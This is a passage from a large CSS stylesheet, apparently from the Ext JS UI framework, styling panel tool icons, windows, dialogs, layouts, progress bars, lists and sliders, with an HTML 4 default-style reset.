-90px;\n}\n\n.x-tool-prev {\n    background-position:0 -105px;\n}\n\n.x-tool-prev-over {\n    background-position:-15px -105px;\n}\n\n.x-tool-next {\n    background-position:0 -120px;\n}\n\n.x-tool-next-over {\n    background-position:-15px -120px;\n}\n\n.x-tool-pin {\n    background-position:0 -135px;\n}\n\n.x-tool-pin-over {\n    background-position:-15px -135px;\n}\n\n.x-tool-unpin {\n    background-position:0 -150px;\n}\n\n.x-tool-unpin-over {\n    background-position:-15px -150px;\n}\n\n.x-tool-right {\n    background-position:0 -165px;\n}\n\n.x-tool-right-over {\n    background-position:-15px -165px;\n}\n\n.x-tool-left {\n    background-position:0 -180px;\n}\n\n.x-tool-left-over {\n    background-position:-15px -180px;\n}\n\n.x-tool-down {\n    background-position:0 -195px;\n}\n\n.x-tool-down-over {\n    background-position:-15px -195px;\n}\n\n.x-tool-up {\n    background-position:0 -210px;\n}\n\n.x-tool-up-over {\n    background-position:-15px -210px;\n}\n\n.x-tool-refresh {\n    background-position:0 -225px;\n}\n\n.x-tool-refresh-over {\n    background-position:-15px -225px;\n}\n\n.x-tool-plus {\n    background-position:0 -240px;\n}\n\n.x-tool-plus-over {\n    background-position:-15px -240px;\n}\n\n.x-tool-minus {\n    background-position:0 -255px;\n}\n\n.x-tool-minus-over {\n    background-position:-15px -255px;\n}\n\n.x-tool-search {\n    background-position:0 -270px;\n}\n\n.x-tool-search-over {\n    background-position:-15px -270px;\n}\n\n.x-tool-save {\n    background-position:0 -285px;\n}\n\n.x-tool-save-over {\n    background-position:-15px -285px;\n}\n\n.x-tool-help {\n    background-position:0 -300px;\n}\n\n.x-tool-help-over {\n    background-position:-15px -300px;\n}\n\n.x-tool-print {\n    background-position:0 -315px;\n}\n\n.x-tool-print-over {\n    background-position:-15px -315px;\n}\n\n.x-tool-expand {\n    background-position:0 -330px;\n}\n\n.x-tool-expand-over {\n    background-position:-15px -330px;\n}\n\n.x-tool-collapse {\n    background-position:0 -345px;\n}\n\n.x-tool-collapse-over {\n    background-position:-15px -345px;\n}\n\n.x-tool-resize {\n    background-position:0 -360px;\n}\n\n.x-tool-resize-over {\n    background-position:-15px -360px;\n}\n\n.x-tool-move {\n    background-position:0 -375px;\n}\n\n.x-tool-move-over {\n    background-position:-15px -375px;\n}\n\n/* Ghosting */\n.x-panel-ghost {\n    z-index:12000;\n    overflow:hidden;\n    position:absolute;\n    left:0;top:0;\n    opacity:.65;\n    -moz-opacity:.65;\n    filter:alpha(opacity=65);\n}\n\n.x-panel-ghost ul {\n    margin:0;\n    padding:0;\n    overflow:hidden;\n    font-size:0;\n    line-height:0;\n    border:1px solid;\n    border-top:0 none;\n    display:block;\n}\n\n.x-panel-ghost * {\n    cursor:move !important;\n}\n\n.x-panel-dd-spacer {\n    border:2px dashed;\n}\n\n/* Buttons */\n.x-panel-btns {\n    padding:5px;\n    overflow:hidden;\n}\n\n.x-panel-btns td.x-toolbar-cell{\n\tpadding:3px;\n}\n\n.x-panel-btns .x-btn-focus .x-btn-left{\n\tbackground-position:0 -147px;\n}\n\n.x-panel-btns .x-btn-focus .x-btn-right{\n\tbackground-position:0 -168px;\n}\n\n.x-panel-btns .x-btn-focus .x-btn-center{\n\tbackground-position:0 -189px;\n}\n\n.x-panel-btns .x-btn-over .x-btn-left{\n\tbackground-position:0 -63px;\n}\n\n.x-panel-btns .x-btn-over .x-btn-right{\n\tbackground-position:0 -84px;\n}\n\n.x-panel-btns .x-btn-over .x-btn-center{\n\tbackground-position:0 -105px;\n}\n\n.x-panel-btns .x-btn-click .x-btn-center{\n\tbackground-position:0 -126px;\n}\n\n.x-panel-btns .x-btn-click  .x-btn-right{\n\tbackground-position:0 -84px;\n}\n\n.x-panel-btns .x-btn-click .x-btn-left{\n\tbackground-position:0 -63px;\n}\n\n.x-panel-fbar td,.x-panel-fbar span,.x-panel-fbar input,.x-panel-fbar div,.x-panel-fbar select,.x-panel-fbar label{\n\twhite-space: nowrap;\n}\n/**\n * W3C Suggested Default style sheet for HTML 4\n * http://www.w3.org/TR/CSS21/sample.html\n *\n * Resets for Ext.Panel @cfg normal: true\n */\n.x-panel-reset .x-panel-body html,\n.x-panel-reset .x-panel-body address,\n.x-panel-reset .x-panel-body blockquote,\n.x-panel-reset .x-panel-body body,\n.x-panel-reset .x-panel-body dd,\n.x-panel-reset .x-panel-body div,\n.x-panel-reset .x-panel-body dl,\n.x-panel-reset .x-panel-body dt,\n.x-panel-reset .x-panel-body fieldset,\n.x-panel-reset .x-panel-body form,\n.x-panel-reset .x-panel-body frame, frameset,\n.x-panel-reset .x-panel-body h1,\n.x-panel-reset .x-panel-body h2,\n.x-panel-reset .x-panel-body h3,\n.x-panel-reset .x-panel-body h4,\n.x-panel-reset .x-panel-body h5,\n.x-panel-reset .x-panel-body h6,\n.x-panel-reset .x-panel-body noframes,\n.x-panel-reset .x-panel-body ol,\n.x-panel-reset .x-panel-body p,\n.x-panel-reset .x-panel-body ul,\n.x-panel-reset .x-panel-body center,\n.x-panel-reset .x-panel-body dir,\n.x-panel-reset .x-panel-body hr,\n.x-panel-reset .x-panel-body menu,\n.x-panel-reset .x-panel-body pre \t\t\t  { display: block }\n.x-panel-reset .x-panel-body li              { display: list-item }\n.x-panel-reset .x-panel-body head            { display: none }\n.x-panel-reset .x-panel-body table           { display: table }\n.x-panel-reset .x-panel-body tr              { display: table-row }\n.x-panel-reset .x-panel-body thead           { display: table-header-group }\n.x-panel-reset .x-panel-body tbody           { display: table-row-group }\n.x-panel-reset .x-panel-body tfoot           { display: table-footer-group }\n.x-panel-reset .x-panel-body col             { display: table-column }\n.x-panel-reset .x-panel-body colgroup        { display: table-column-group }\n.x-panel-reset .x-panel-body td,\n.x-panel-reset .x-panel-body th \t          { display: table-cell }\n.x-panel-reset .x-panel-body caption         { display: table-caption }\n.x-panel-reset .x-panel-body th              { font-weight: bolder; text-align: center }\n.x-panel-reset .x-panel-body caption         { text-align: center }\n.x-panel-reset .x-panel-body body            { margin: 8px }\n.x-panel-reset .x-panel-body h1              { font-size: 2em; margin: .67em 0 }\n.x-panel-reset .x-panel-body h2              { font-size: 1.5em; margin: .75em 0 }\n.x-panel-reset .x-panel-body h3              { font-size: 1.17em; margin: .83em 0 }\n.x-panel-reset .x-panel-body h4,\n.x-panel-reset .x-panel-body p,\n.x-panel-reset .x-panel-body blockquote,\n.x-panel-reset .x-panel-body ul,\n.x-panel-reset .x-panel-body fieldset,\n.x-panel-reset .x-panel-body form,\n.x-panel-reset .x-panel-body ol,\n.x-panel-reset .x-panel-body dl,\n.x-panel-reset .x-panel-body dir,\n.x-panel-reset .x-panel-body menu            { margin: 1.12em 0 }\n.x-panel-reset .x-panel-body h5              { font-size: .83em; margin: 1.5em 0 }\n.x-panel-reset .x-panel-body h6              { font-size: .75em; margin: 1.67em 0 }\n.x-panel-reset .x-panel-body h1,\n.x-panel-reset .x-panel-body h2,\n.x-panel-reset .x-panel-body h3,\n.x-panel-reset .x-panel-body h4,\n.x-panel-reset .x-panel-body h5,\n.x-panel-reset .x-panel-body h6,\n.x-panel-reset .x-panel-body b,\n.x-panel-reset .x-panel-body strong          { font-weight: bolder }\n.x-panel-reset .x-panel-body blockquote      { margin-left: 40px; margin-right: 40px }\n.x-panel-reset .x-panel-body i,\n.x-panel-reset .x-panel-body cite,\n.x-panel-reset .x-panel-body em,\n.x-panel-reset .x-panel-body var,\n.x-panel-reset .x-panel-body address    \t  { font-style: italic }\n.x-panel-reset .x-panel-body pre,\n.x-panel-reset .x-panel-body tt,\n.x-panel-reset .x-panel-body code,\n.x-panel-reset .x-panel-body kbd,\n.x-panel-reset .x-panel-body samp       \t  { font-family: monospace }\n.x-panel-reset .x-panel-body pre             { white-space: pre }\n.x-panel-reset .x-panel-body button,\n.x-panel-reset .x-panel-body textarea,\n.x-panel-reset .x-panel-body input,\n.x-panel-reset .x-panel-body select   \t\t  { display: inline-block }\n.x-panel-reset .x-panel-body big             { font-size: 1.17em }\n.x-panel-reset .x-panel-body small,\n.x-panel-reset .x-panel-body sub,\n.x-panel-reset .x-panel-body sup \t\t\t  { font-size: .83em }\n.x-panel-reset .x-panel-body sub             { vertical-align: sub }\n.x-panel-reset .x-panel-body sup             { vertical-align: super }\n.x-panel-reset .x-panel-body table           { border-spacing: 2px; }\n.x-panel-reset .x-panel-body thead,\n.x-panel-reset .x-panel-body tbody,\n.x-panel-reset .x-panel-body tfoot           { vertical-align: middle }\n.x-panel-reset .x-panel-body td,\n.x-panel-reset .x-panel-body th          \t  { vertical-align: inherit }\n.x-panel-reset .x-panel-body s,\n.x-panel-reset .x-panel-body strike,\n.x-panel-reset .x-panel-body del  \t\t\t  { text-decoration: line-through }\n.x-panel-reset .x-panel-body hr              { border: 1px inset }\n.x-panel-reset .x-panel-body ol,\n.x-panel-reset .x-panel-body ul,\n.x-panel-reset .x-panel-body dir,\n.x-panel-reset .x-panel-body menu,\n.x-panel-reset .x-panel-body dd        \t  { margin-left: 40px }\n.x-panel-reset .x-panel-body ul, .x-panel-reset .x-panel-body menu, .x-panel-reset .x-panel-body dir { list-style-type: disc;}\n.x-panel-reset .x-panel-body ol              { list-style-type: decimal }\n.x-panel-reset .x-panel-body ol ul,\n.x-panel-reset .x-panel-body ul ol,\n.x-panel-reset .x-panel-body ul ul,\n.x-panel-reset .x-panel-body ol ol    \t\t  { margin-top: 0; margin-bottom: 0 }\n.x-panel-reset .x-panel-body u,\n.x-panel-reset .x-panel-body ins          \t  { text-decoration: underline }\n.x-panel-reset .x-panel-body br:before       { content: \"\\A\" }\n.x-panel-reset .x-panel-body :before, .x-panel-reset .x-panel-body :after { white-space: pre-line }\n.x-panel-reset .x-panel-body center          { text-align: center }\n.x-panel-reset .x-panel-body :link, .x-panel-reset .x-panel-body :visited { text-decoration: underline }\n.x-panel-reset .x-panel-body :focus          { outline: invert dotted thin }\n\n/* Begin bidirectionality settings (do not change) */\n.x-panel-reset .x-panel-body BDO[DIR=\"ltr\"]  { direction: ltr; unicode-bidi: bidi-override }\n.x-panel-reset .x-panel-body BDO[DIR=\"rtl\"]  { direction: rtl; unicode-bidi: bidi-override }\n.x-window {\n    zoom:1;\n}\n\n.x-window .x-window-handle {\n    opacity:0;\n    -moz-opacity:0;\n    filter:alpha(opacity=0);\n}\n\n.x-window-proxy {\n    border:1px solid;\n    z-index:12000;\n    overflow:hidden;\n    position:absolute;\n    left:0;top:0;\n    display:none;\n    opacity:.5;\n    -moz-opacity:.5;\n    filter:alpha(opacity=50);\n}\n\n.x-window-header {\n    overflow:hidden;\n    zoom:1;\n}\n\n.x-window-bwrap {\n    z-index:1;\n    position:relative;\n    zoom:1;\n    left:0;top:0;\n}\n\n.x-window-tl .x-window-header {\n    padding:5px 0 4px 0;\n}\n\n.x-window-header-text {\n    cursor:pointer;\n}\n\n.x-window-tc {\n\tbackground: transparent repeat-x 0 0;\n\toverflow:hidden;\n    zoom:1;\n}\n\n.x-window-tl {\n\tbackground: transparent no-repeat 0 0;\n\tpadding-left:6px;\n    zoom:1;\n    z-index:1;\n    position:relative;\n}\n\n.x-window-tr {\n\tbackground: transparent no-repeat right 0;\n\tpadding-right:6px;\n}\n\n.x-window-bc {\n\tbackground: transparent repeat-x 0 bottom;\n    zoom:1;\n}\n\n.x-window-bc .x-window-footer {\n    padding-bottom:6px;\n    zoom:1;\n    font-size:0;\n    line-height:0;\n}\n\n.x-window-bl {\n\tbackground: transparent no-repeat 0 bottom;\n\tpadding-left:6px;\n    zoom:1;\n}\n\n.x-window-br {\n\tbackground: transparent no-repeat right bottom;\n\tpadding-right:6px;\n    zoom:1;\n}\n\n.x-window-mc {\n    border:1px solid;\n    padding:0;\n    margin:0;\n}\n\n.x-window-ml {\n\tbackground: transparent repeat-y 0 0;\n\tpadding-left:6px;\n    zoom:1;\n}\n\n.x-window-mr {\n\tbackground: transparent repeat-y right 0;\n\tpadding-right:6px;\n    zoom:1;\n}\n\n.x-window-body {\n    overflow:hidden;\n}\n\n.x-window-bwrap {\n    overflow:hidden;\n}\n\n.x-window-maximized .x-window-bl, .x-window-maximized .x-window-br,\n    .x-window-maximized .x-window-ml, .x-window-maximized .x-window-mr,\n    .x-window-maximized .x-window-tl, .x-window-maximized .x-window-tr {\n    padding:0;\n}\n\n.x-window-maximized .x-window-footer {\n    padding-bottom:0;\n}\n\n.x-window-maximized .x-window-tc {\n    padding-left:3px;\n    padding-right:3px;\n}\n\n.x-window-maximized .x-window-mc {\n    border-left:0 none;\n    border-right:0 none;\n}\n\n.x-window-tbar .x-toolbar, .x-window-bbar .x-toolbar {\n    border-left:0 none;\n    border-right: 0 none;\n}\n\n.x-window-bbar .x-toolbar {\n    border-top:1px solid;\n    border-bottom:0 none;\n}\n\n.x-window-draggable, .x-window-draggable .x-window-header-text {\n    cursor:move;\n}\n\n.x-window-maximized .x-window-draggable, .x-window-maximized .x-window-draggable .x-window-header-text {\n    cursor:default;\n}\n\n.x-window-body {\n    background-color:transparent;\n}\n\n.x-panel-ghost .x-window-tl {\n    border-bottom:1px solid;\n}\n\n.x-panel-collapsed .x-window-tl {\n    border-bottom:1px solid;\n}\n\n.x-window-maximized-ct {\n    overflow:hidden;\n}\n\n.x-window-maximized .x-window-handle {\n    display:none;\n}\n\n.x-window-sizing-ghost ul {\n    border:0 none !important;\n}\n\n.x-dlg-focus{\n\t-moz-outline:0 none;\n\toutline:0 none;\n\twidth:0;\n\theight:0;\n\toverflow:hidden;\n\tposition:absolute;\n\ttop:0;\n\tleft:0;\n}\n\n.ext-webkit .x-dlg-focus{\n    width: 1px;\n    height: 1px;\n}\n\n.x-dlg-mask{\n    z-index:10000;\n    display:none;\n    position:absolute;\n    top:0;\n    left:0;\n    -moz-opacity: 0.5;\n    opacity:.50;\n    filter: alpha(opacity=50);\n}\n\nbody.ext-ie6.x-body-masked select {\n\tvisibility:hidden;\n}\n\nbody.ext-ie6.x-body-masked .x-window select {\n\tvisibility:visible;\n}\n\n.x-window-plain .x-window-mc {\n    border: 1px solid;\n}\n\n.x-window-plain .x-window-body {\n    border: 1px solid;\n    background:transparent !important;\n}.x-html-editor-wrap {\n    border:1px solid;\n}\n\n.x-html-editor-tb .x-btn-text {\n    background:transparent no-repeat;\n}\n\n.x-html-editor-tb .x-edit-bold, .x-menu-item img.x-edit-bold {\n    background-position:0 0;\n    background-image:url(../images/default/editor/tb-sprite.gif);    \n}\n\n.x-html-editor-tb .x-edit-italic, .x-menu-item img.x-edit-italic {\n    background-position:-16px 0;\n    background-image:url(../images/default/editor/tb-sprite.gif);\n}\n\n.x-html-editor-tb .x-edit-underline, .x-menu-item img.x-edit-underline {\n    background-position:-32px 0;\n    background-image:url(../images/default/editor/tb-sprite.gif);\n}\n\n.x-html-editor-tb .x-edit-forecolor, .x-menu-item img.x-edit-forecolor {\n    background-position:-160px 0;\n    background-image:url(../images/default/editor/tb-sprite.gif);\n}\n\n.x-html-editor-tb .x-edit-backcolor, .x-menu-item img.x-edit-backcolor {\n    background-position:-176px 0;\n    background-image:url(../images/default/editor/tb-sprite.gif);\n}\n\n.x-html-editor-tb .x-edit-justifyleft, .x-menu-item img.x-edit-justifyleft {\n    background-position:-112px 0;\n    background-image:url(../images/default/editor/tb-sprite.gif);\n}\n\n.x-html-editor-tb .x-edit-justifycenter, .x-menu-item img.x-edit-justifycenter {\n    background-position:-128px 0;\n    background-image:url(../images/default/editor/tb-sprite.gif);\n}\n\n.x-html-editor-tb .x-edit-justifyright, .x-menu-item img.x-edit-justifyright {\n    background-position:-144px 0;\n    background-image:url(../images/default/editor/tb-sprite.gif);\n}\n\n.x-html-editor-tb .x-edit-insertorderedlist, .x-menu-item img.x-edit-insertorderedlist {\n    background-position:-80px 0;\n    background-image:url(../images/default/editor/tb-sprite.gif);\n}\n\n.x-html-editor-tb .x-edit-insertunorderedlist, .x-menu-item img.x-edit-insertunorderedlist {\n    background-position:-96px 0;\n    background-image:url(../images/default/editor/tb-sprite.gif);\n}\n\n.x-html-editor-tb .x-edit-increasefontsize, .x-menu-item img.x-edit-increasefontsize {\n    background-position:-48px 0;\n    background-image:url(../images/default/editor/tb-sprite.gif);\n}\n\n.x-html-editor-tb .x-edit-decreasefontsize, .x-menu-item img.x-edit-decreasefontsize {\n    background-position:-64px 0;\n    background-image:url(../images/default/editor/tb-sprite.gif);\n}\n\n.x-html-editor-tb .x-edit-sourceedit, .x-menu-item img.x-edit-sourceedit {\n    background-position:-192px 0;\n    background-image:url(../images/default/editor/tb-sprite.gif);\n}\n\n.x-html-editor-tb .x-edit-createlink, .x-menu-item img.x-edit-createlink {\n    background-position:-208px 0;\n    background-image:url(../images/default/editor/tb-sprite.gif);\n}\n\n.x-html-editor-tip .x-tip-bd .x-tip-bd-inner {\n    padding:5px;\n    padding-bottom:1px;\n}\n\n.x-html-editor-tb .x-toolbar {\n    position:static !important;\n}.x-panel-noborder .x-panel-body-noborder {\n    border-width:0;\n}\n\n.x-panel-noborder .x-panel-header-noborder {\n    border-width:0 0 1px;\n    border-style:solid;\n}\n\n.x-panel-noborder .x-panel-tbar-noborder .x-toolbar {\n    border-width:0 0 1px;\n    border-style:solid;\n}\n\n.x-panel-noborder .x-panel-bbar-noborder .x-toolbar {\n    border-width:1px 0 0 0;\n    border-style:solid;\n}\n\n.x-window-noborder .x-window-mc {\n    border-width:0;\n}\n\n.x-window-plain .x-window-body-noborder {\n    border-width:0;\n}\n\n.x-tab-panel-noborder .x-tab-panel-body-noborder {\n\tborder-width:0;\n}\n\n.x-tab-panel-noborder .x-tab-panel-header-noborder {\n    border-width: 0 0 1px 0;\n}\n\n.x-tab-panel-noborder .x-tab-panel-footer-noborder {\n    border-width: 1px 0 0 0;\n}\n\n.x-tab-panel-bbar-noborder .x-toolbar {\n    border-width: 1px 0 0 0;\n    border-style:solid;\n}\n\n.x-tab-panel-tbar-noborder .x-toolbar {\n    border-width:0 0 1px;\n    border-style:solid;\n}.x-border-layout-ct {\n    position: relative;\n}\n\n.x-border-panel {\n    position:absolute;\n    left:0;\n    top:0;\n}\n\n.x-tool-collapse-south {\n    background-position:0 -195px;\n}\n\n.x-tool-collapse-south-over {\n    background-position:-15px -195px;\n}\n\n.x-tool-collapse-north {\n    background-position:0 -210px;\n}\n\n.x-tool-collapse-north-over {\n    background-position:-15px -210px;\n}\n\n.x-tool-collapse-west {\n    background-position:0 -180px;\n}\n\n.x-tool-collapse-west-over {\n    background-position:-15px -180px;\n}\n\n.x-tool-collapse-east {\n    background-position:0 -165px;\n}\n\n.x-tool-collapse-east-over {\n    background-position:-15px -165px;\n}\n\n.x-tool-expand-south {\n    background-position:0 -210px;\n}\n\n.x-tool-expand-south-over {\n    background-position:-15px -210px;\n}\n\n.x-tool-expand-north {\n    background-position:0 -195px;\n}\n.x-tool-expand-north-over {\n    background-position:-15px -195px;\n}\n\n.x-tool-expand-west {\n    background-position:0 -165px;\n}\n\n.x-tool-expand-west-over {\n    background-position:-15px -165px;\n}\n\n.x-tool-expand-east {\n    background-position:0 -180px;\n}\n\n.x-tool-expand-east-over {\n    background-position:-15px -180px;\n}\n\n.x-tool-expand-north, .x-tool-expand-south {\n    float:right;\n    margin:3px;\n}\n\n.x-tool-expand-east, .x-tool-expand-west {\n    float:none;\n    margin:3px 2px;\n}\n\n.x-accordion-hd .x-tool-toggle {\n    background-position:0 -255px;\n}\n\n.x-accordion-hd .x-tool-toggle-over {\n    background-position:-15px -255px;\n}\n\n.x-panel-collapsed .x-accordion-hd .x-tool-toggle {\n    background-position:0 -240px;\n}\n\n.x-panel-collapsed .x-accordion-hd .x-tool-toggle-over {\n    background-position:-15px -240px;\n}\n\n.x-accordion-hd {\n\tpadding-top:4px;\n\tpadding-bottom:3px;\n\tborder-top:0 none;\n    background: transparent repeat-x 0 -9px;\n}\n\n.x-layout-collapsed{\n    position:absolute;\n    left:-10000px;\n    top:-10000px;\n    visibility:hidden;\n    width:20px;\n    height:20px;\n    overflow:hidden;\n\tborder:1px solid;\n\tz-index:20;\n}\n\n.ext-border-box .x-layout-collapsed{\n    width:22px;\n    height:22px;\n}\n\n.x-layout-collapsed-over{\n    cursor:pointer;\n}\n\n.x-layout-collapsed-west .x-layout-collapsed-tools, .x-layout-collapsed-east .x-layout-collapsed-tools{\n\tposition:absolute;\n    top:0;\n    left:0;\n    width:20px;\n    height:20px;\n}\n\n\n.x-layout-split{\n    position:absolute;\n    height:5px;\n    width:5px;\n    line-height:1px;\n    font-size:1px;\n    z-index:3;\n    background-color:transparent;\n}\n\n/* IE6 strict won't drag w/out a color */\n.ext-strict .ext-ie6 .x-layout-split{\n    background-color: #fff !important;\n    filter: alpha(opacity=1);\n}\n\n.x-layout-split-h{\n    background-image:url(../images/default/s.gif);\n    background-position: left;\n}\n\n.x-layout-split-v{\n    background-image:url(../images/default/s.gif);\n    background-position: top;\n}\n\n.x-column-layout-ct {\n    overflow:hidden;\n    zoom:1;\n}\n\n.x-column {\n    float:left;\n    padding:0;\n    margin:0;\n    overflow:hidden;\n    zoom:1;\n}\n\n.x-column-inner {\n    overflow:hidden;\n    zoom:1;\n}\n\n/* mini mode */\n.x-layout-mini {\n    position:absolute;\n    top:0;\n    left:0;\n    display:block;\n    width:5px;\n    height:35px;\n    cursor:pointer;\n    opacity:.5;\n    -moz-opacity:.5;\n    filter:alpha(opacity=50);\n}\n\n.x-layout-mini-over, .x-layout-collapsed-over .x-layout-mini{\n    opacity:1;\n    -moz-opacity:1;\n    filter:none;\n}\n\n.x-layout-split-west .x-layout-mini {\n    top:48%;\n}\n\n.x-layout-split-east .x-layout-mini {\n    top:48%;\n}\n\n.x-layout-split-north .x-layout-mini {\n    left:48%;\n    height:5px;\n    width:35px;\n}\n\n.x-layout-split-south .x-layout-mini {\n    left:48%;\n    height:5px;\n    width:35px;\n}\n\n.x-layout-cmini-west .x-layout-mini {\n    top:48%;\n}\n\n.x-layout-cmini-east .x-layout-mini {\n    top:48%;\n}\n\n.x-layout-cmini-north .x-layout-mini {\n    left:48%;\n    height:5px;\n    width:35px;\n}\n\n.x-layout-cmini-south .x-layout-mini {\n    left:48%;\n    height:5px;\n    width:35px;\n}\n\n.x-layout-cmini-west, .x-layout-cmini-east {\n    border:0 none;\n    width:5px !important;\n    padding:0;\n    background-color:transparent;\n}\n\n.x-layout-cmini-north, .x-layout-cmini-south {\n    border:0 none;\n    height:5px !important;\n    padding:0;\n    background-color:transparent;\n}\n\n.x-viewport, .x-viewport body {\n    margin: 0;\n    padding: 0;\n    border: 0 none;\n    overflow: hidden;\n    height: 100%;\n}\n\n.x-abs-layout-item {\n    position:absolute;\n    left:0;\n    top:0;\n}\n\n.ext-ie input.x-abs-layout-item, .ext-ie textarea.x-abs-layout-item {\n    margin:0;\n}\n\n.x-box-layout-ct {\n    overflow:hidden;\n    zoom:1;\n}\n\n.x-box-inner {\n    overflow:hidden;\n    zoom:1;\n    position:relative;\n    left:0;\n    top:0;\n}\n\n.x-box-item {\n    position:absolute;\n    left:0;\n    top:0;\n}.x-progress-wrap {\n    border:1px solid;\n    overflow:hidden;\n}\n\n.x-progress-inner {\n    height:18px;\n    background:repeat-x;\n    position:relative;\n}\n\n.x-progress-bar {\n    height:18px;\n    float:left;\n    width:0;\n    background: repeat-x left center;\n    border-top:1px solid;\n    border-bottom:1px solid;\n    border-right:1px solid;\n}\n\n.x-progress-text {\n    padding:1px 5px;\n    overflow:hidden;\n    position:absolute;\n    left:0;\n    text-align:center;\n}\n\n.x-progress-text-back {\n    line-height:16px;\n}\n\n.ext-ie .x-progress-text-back {\n    line-height:15px;\n}\n\n.ext-strict .ext-ie7 .x-progress-text-back{\n    width: 100%;\n}\n.x-list-header{\n\tbackground: repeat-x 0 bottom;\n\tcursor:default;\n    zoom:1;\n    height:22px;\n}\n\n.x-list-header-inner div {\n    display:block;\n    float:left;\n    overflow:hidden;\n\t-o-text-overflow: ellipsis;\n\ttext-overflow: ellipsis;\n    white-space: nowrap;\n}\n\n.x-list-header-inner div em {\n    display:block;\n    border-left:1px solid;\n    padding:4px 4px;\n    overflow:hidden;\n    -moz-user-select: none;\n    -khtml-user-select: none;\n    line-height:14px;\n}\n\n.x-list-body {\n    overflow:auto;\n    overflow-x:hidden;\n    overflow-y:auto;\n    zoom:1;\n    float: left;\n    width: 100%;\n}\n\n.x-list-body dl {\n    zoom:1;\n}\n\n.x-list-body dt {\n    display:block;\n    float:left;\n    overflow:hidden;\n\t-o-text-overflow: ellipsis;\n\ttext-overflow: ellipsis;\n    white-space: nowrap;\n    cursor:pointer;\n    zoom:1;\n}\n\n.x-list-body dt em {\n    display:block;\n    padding:3px 4px;\n    overflow:hidden;\n    -moz-user-select: none;\n    -khtml-user-select: none;\n}\n\n.x-list-resizer {\n    border-left:1px solid;\n    border-right:1px solid;\n    position:absolute;\n    left:0;\n    top:0;\n}\n\n.x-list-header-inner em.sort-asc {\n    background: transparent no-repeat center 0;\n    border-style:solid;\n    border-width: 0 1px 1px;\n    padding-bottom:3px;\n}\n\n.x-list-header-inner em.sort-desc {\n    background: transparent no-repeat center -23px;\n    border-style:solid;\n    border-width: 0 1px 1px;\n    padding-bottom:3px;\n}\n\n/* Shared styles */\n.x-slider {\n    zoom:1;\n}\n\n.x-slider-inner {\n    position:relative;\n    left:0;\n    top:0;\n    overflow:visible;\n    zoom:1;\n}\n\n.x-slider-focus {\n\tposition:absolute;\n\tleft:0;\n\ttop:0;\n\twidth:1px;\n\theight:1px;\n    line-height:1px;\n    font-size:1px;\n    -moz-outline:0 none;\n    outline:0 none;\n    -moz-user-select: none;\n    -khtml-user-select:none;\n    -webkit-user-select:ignore;\n\tdisplay:block;\n\toverflow:hidden;  \n}\n\n/* Horizontal styles */\n.x-slider-horz {\n    padding-left:7px;\n    background:transparent no-repeat 0 -22px;\n}\n\n.x-slider-horz .x-slider-end {\n    padding-right:7px;\n    zoom:1;\n    background:transparent no-repeat right -44px;\n}\n\n.x-slider-horz .x-slider-inner {\n    background:transparent repeat-x 0 0;\n    height:22px;\n}\n\n.x-slider-horz .x-slider-thumb {\n    width:14px;\n    height:15px;\n    position:absolute;\n    left:0;\n    top:3px;\n    background:transparent no-repeat 0 0;\n}\n\n.x-slider-horz .x-slider-thumb-over {\n    background-position: -14px -15px;\n}\n\n.x-slider-horz .x-slider-thumb-drag {\n    background-position: -28px -30px;\n}\n\n/* Vertical styles */\n.x-slider-vert {\n    padding-top:7px;\n    background:transparent no-repeat -44px 0;\n    width:22px;\n}\n\n.x-slider-vert .x-slider-end {\n    padding-bottom:7px;\n    zoom:1;\n    background:transparent no-repeat -22px bottom;\n}\n\n.x-slider-vert .x-slider-inner {\n    background:transparent repeat-y 0 0;\n}\n\n.x-slider-vert .x-slider-thumb {\n    width:15px;\n    height:14px;\n    position:absolute;\n    left:3px;\n    bottom:0;\n    background:transparent no-repeat 0 0;\n}\n\n.x-slider-vert .x-slider-thumb-over {\n    background-position: -15px -14px;\n}\n\n.x-slider-vert .x-slider-thumb-drag {\n    background-position: -30px -28px;\n}.x-window-dlg .x-window-body {\n    border:0 none !important;\n    padding:5px 10px;\n    overflow:hidden !important;\n}\n\n.x-window-dlg .x-window-mc {\n    border:0 none !important;\n}\n\n.x-window-dlg .ext-mb-input {\n    margin-top:4px;\n    width:95%;\n}\n\n.x-window-dlg .ext-mb-textarea {\n    margin-top:4px;\n}\n\n.x-window-dlg .x-progress-wrap {\n    margin-top:4px;\n}\n\n.ext-ie .x-window-dlg .x-progress-wrap {\n    margin-top:6px;\n}\n\n.x-window-dlg .x-msg-box-wait {\n    background:transparent no-repeat left;\n    display:block;\n    width:300px;\n    padding-left:18px;\n    line-height:18px;\n}\n\n.x-window-dlg .ext-mb-icon {\n    float:left;\n    width:47px;\n    height:32px;\n}\n\n.x-window-dlg .x-dlg-icon .ext-mb-content{\n    zoom: 1; \n    margin-left: 47px;\n}\n\n.x-window-dlg .ext-mb-info, .x-window-dlg .ext-mb-warning, .x-window-dlg .ext-mb-question, .x-window-dlg .ext-mb-error {\n    background:transparent no-repeat top left;\n}\n\n.ext-gecko2 .ext-mb-fix-cursor {\n    overflow:auto;\n}.ext-el-mask {\n    background-color: #ccc;\n}\n\n.ext-el-mask-msg {\n    border-color:#6593cf;\n    background-color:#c3daf9;\n    background-image:url(../images/default/box/tb-blue.gif);\n}\n.ext-el-mask-msg div {\n    background-color: #eee;\n    border-color:#a3bad9;\n    color:#222;\n    font:normal 11px tahoma, arial, helvetica, sans-serif;\n}\n\n.x-mask-loading div {\n    background-color:#fbfbfb;\n    background-image:url(../images/default/grid/loading.gif);\n}\n\n.x-item-disabled {\n    color: gray;\n}\n\n.x-item-disabled * {\n    color: gray !important;\n}\n\n.x-splitbar-proxy {\n    background-color: #aaa;\n}\n\n.x-color-palette a {\n    border-color:#fff;\n}\n\n.x-color-palette a:hover, .x-color-palette a.x-color-palette-sel {\n    border-color:#8bb8f3;\n    background-color: #deecfd;\n}\n\n/*\n.x-color-palette em:hover, .x-color-palette span:hover{   \n    background-color: #deecfd;\n}\n*/\n\n.x-color-palette em {\n    border-color:#aca899;\n}\n\n.x-ie-shadow {\n    background-color:#777;\n}\n\n.x-shadow .xsmc {\n    background-image: url(../images/default/shadow-c.png);\n}\n\n.x-shadow .xsml, .x-shadow .xsmr {\n    background-image: url(../images/default/shadow-lr.png);\n}\n\n.x-shadow .xstl, .x-shadow .xstc,  .x-shadow .xstr, .x-shadow .xsbl, .x-shadow .xsbc, .x-shadow .xsbr{\n    background-image: url(../images/default/shadow.png);\n}\n\n.loading-indicator {\n    font-size: 11px;\n    background-image: url(../images/default/grid/loading.gif);\n}\n\n.x-spotlight {\n    background-color: #ccc;\n}\n.x-tab-panel-header, .x-tab-panel-footer {\n\tbackground-color: 